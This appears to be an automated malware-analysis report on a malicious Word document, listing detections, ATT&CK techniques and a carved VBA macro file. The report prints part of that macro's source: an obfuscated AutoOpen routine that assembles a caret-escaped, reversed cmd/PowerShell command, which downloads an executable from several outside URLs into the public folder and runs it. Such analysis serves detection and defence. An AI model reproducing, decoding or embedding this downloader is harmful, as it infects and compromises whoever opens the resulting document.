MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains a legacy WordBasic AutoOpen macro, which is a strong indicator of malicious intent. The VBA code is heavily obfuscated, but the presence of the AutoOpen subroutine and the ClamAV detection suggest it is designed to download and execute a secondary payload. The obfuscated nature of the script prevents a more detailed analysis of its specific actions.
Heuristics 5
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ClamAV: Doc.Malware.Generic-6687740-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-6687740-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5118 bytes |
SHA-256: a478abc4592bc56e3dbf540c5d37afd00bfb7e1cd8f85655e39427080fed7dc4 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "OkVlhQFqzKskz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const pRsVFWlF = 0
Dim JDjawZ(4)
JDjawZ(0) = Left(lLzRTvTJ, 277)
JDjawZ(1) = Left(lLzRTvTJ, 277)
JDjawZ(2) = Left(lLzRTvTJ, 277)
JDjawZ(3) = Mid(NcQCwcS, 322, 870)
Dim WzBjbI(3)
WzBjbI(0) = Right(cPtfRz, 591)
WzBjbI(1) = Left(lLzRTvTJ, 277)
WzBjbI(2) = MidB(PLmGaNfW, 353, 844)
Dim mdaHii(3)
mdaHii(0) = Left(lLzRTvTJ, 277)
mdaHii(1) = Mid(NcQCwcS, 322, 870)
mdaHii(2) = Right(cPtfRz, 591)
Dim kdjvzK(2)
kdjvzK(0) = Left(lLzRTvTJ, 277)
kdjvzK(1) = Right(cPtfRz, 591)
Dim OhWfv(3)
OhWfv(0) = Left(lLzRTvTJ, 277)
OhWfv(1) = Mid(NcQCwcS, 322, 870)
OhWfv(2) = Mid(NcQCwcS, 322, 870)
Shell@ kMPhW + ZUjQOrtsonbaBq + JiOwdEWnRV, CInt(pRsVFWlF)
Dim MjJMX(5)
MjJMX(0) = Right(cPtfRz, 591)
MjJMX(1) = Right(cPtfRz, 591)
MjJMX(2) = MidB(PLmGaNfW, 353, 844)
MjJMX(3) = Right(cPtfRz, 591)
MjJMX(4) = Left(lLzRTvTJ, 277)
Dim vGhsk(2)
vGhsk(0) = Left(lLzRTvTJ, 277)
vGhsk(1) = MidB(PLmGaNfW, 353, 844)
Dim qUudwf(3)
qUudwf(0) = Right(cPtfRz, 591)
qUudwf(1) = Mid(NcQCwcS, 322, 870)
qUudwf(2) = Mid(NcQCwcS, 322, 870)
End Sub
Attribute VB_Name = "WQujRVwwzsiSCT"
Function kMPhW()
Dim JUioOY(4)
JUioOY(0) = Left(lLzRTvTJ, 277)
JUioOY(1) = Mid(NcQCwcS, 322, 870)
JUioOY(2) = Right(cPtfRz, 591)
JUioOY(3) = MidB(PLmGaNfW, 353, 844)
Dim qLTflQ(2)
qLTflQ(0) = Right(cPtfRz, 591)
qLTflQ(1) = Mid(NcQCwcS, 322, 870)
Dim jRWJV(2)
jRWJV(0) = MidB(PLmGaNfW, 353, 844)
jRWJV(1) = Mid(NcQCwcS, 322, 870)
Dim GimiYJ(3)
GimiYJ(0) = MidB(PLmGaNfW, 353, 844)
GimiYJ(1) = Left(lLzRTvTJ, 277)
GimiYJ(2) = Right(cPtfRz, 591)
jKDrjwGYzX = Format(Chr(4 + 13 + 17 + 11 + 54)) + "md /V^:^O" + "/" + Format(Chr(3 + 9 + 11 + 8 + 36)) + Format(Chr(1 + 4 + 5 + 3 + 21)) + "^s^et ^s^W=^ ^ ^ ^ ^ ^" + " ^ ^}^" + "}^{h" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "t^" + "a" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "}^;k^a^er^b;^Oi^L^$ m^e" + "^tI^-^e^k^ov" + "nI;)^O^i^L$ ,^OHV$(^el^i"
Dim LVmznJ(4)
LVmznJ(0) = Right(cPtfRz, 591)
LVmznJ(1) = MidB(PLmGaNfW, 353, 844)
LVmznJ(2) = MidB(PLmGaNfW, 353, 844)
LVmznJ(3) = MidB(PLmGaNfW, 353, 844)
Dim Wpfzuf(3)
Wpfzuf(0) = Left(lLzRTvTJ, 277)
Wpfzuf(1) = Mid(NcQCwcS, 322, 870)
Wpfzuf(2) = Left(lLzRTvTJ, 277)
XSzvfEYWz = "^F^dao^lnw^oD^" + ".Rdp^${yr^t^{" + ")r^wE$ n^i^ OHV$(h" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "^a^ero^f;" + "^'^exe.'^+EEM$+'" + "\'+" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "^i^l" + "^bup:vn^e$^=" + "^O^iL$"
Dim MzJGLR(4)
MzJGLR(0) = Left(lLzRTvTJ, 277)
MzJGLR(1) = Mid(NcQCwcS, 322, 870)
MzJGLR(2) = Right(cPtfRz, 591)
MzJGLR(3) = Left(lLzRTvTJ, 277)
Dim njYHhQ(2)
njYHhQ(0) = Right(cPtfRz, 591)
njYHhQ(1) = Mid(NcQCwcS, 322, 870)
nqpzSnKp = ";'76^9^'^ ^= ^EEM^$^;" + ")'@^'(^t^i^l^p^S^.'^Lv^J" + "O8v^6^B/m^o" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "^.^m^ae^bnr" + "o^p//^:^p^" + "tth@^T^B^L^" + "mOr8^d/m^o" + Format(Chr(4 + 13 + 17 + 11 + 54)) + ".20bef^" + "2^0//^:^pt^th@g^aDys^"
Dim PbDnLD(4)
PbDnLD(0) = Mid(NcQCwcS, 322, 870)
PbDnLD(1) = MidB(PLmGaNfW, 353, 844)
PbDnLD(2) = Right(cPtfRz, 591)
PbDnLD(3) = Mid(NcQCwcS, 322, 870)
CamjGpKZUEG = "jV" + Format(Chr(3 + 9 + 11 + 8 + 36)) + "/^z^k^.tnamada" + "//^:^sp" + "^t^t^h^@" + "^a^5^bq3^k^qx/rb.^m^" + "o" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "^.ar^u^tet^i^u^qr^aort^a" + "u^q^a//^:^pt^t^h^@Zig^HVBj" + "^T^i5/^m^o" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "^.^sel" + "asn^g^i^la//:^" + "p^t^th'^=rw^E^$^;tne^il" + Format(Chr(3 + 9 + 11 + 8 + 36)) + "beW.t^eN^ t" + Format(Chr(4 + 13 + 17 + 11 + 54)) + "^e^j^" + "bo^-^we" + "n^=Rdp$ "
Dim EcMoub(4)
EcMoub(0) = Mid(NcQCwcS, 322, 870)
EcMoub(1) = Mid(NcQCwcS, 322, 870)
EcMoub(2) = Mid(NcQCwcS, 322, 870)
EcMoub(3) = MidB(PLmGaNfW, 353, 844)
Dim mlVJY(4)
mlVJY(0) = MidB(PLmGaNfW, 353, 844)
mlVJY(1) = Right(cPtfRz, 591)
... (truncated)
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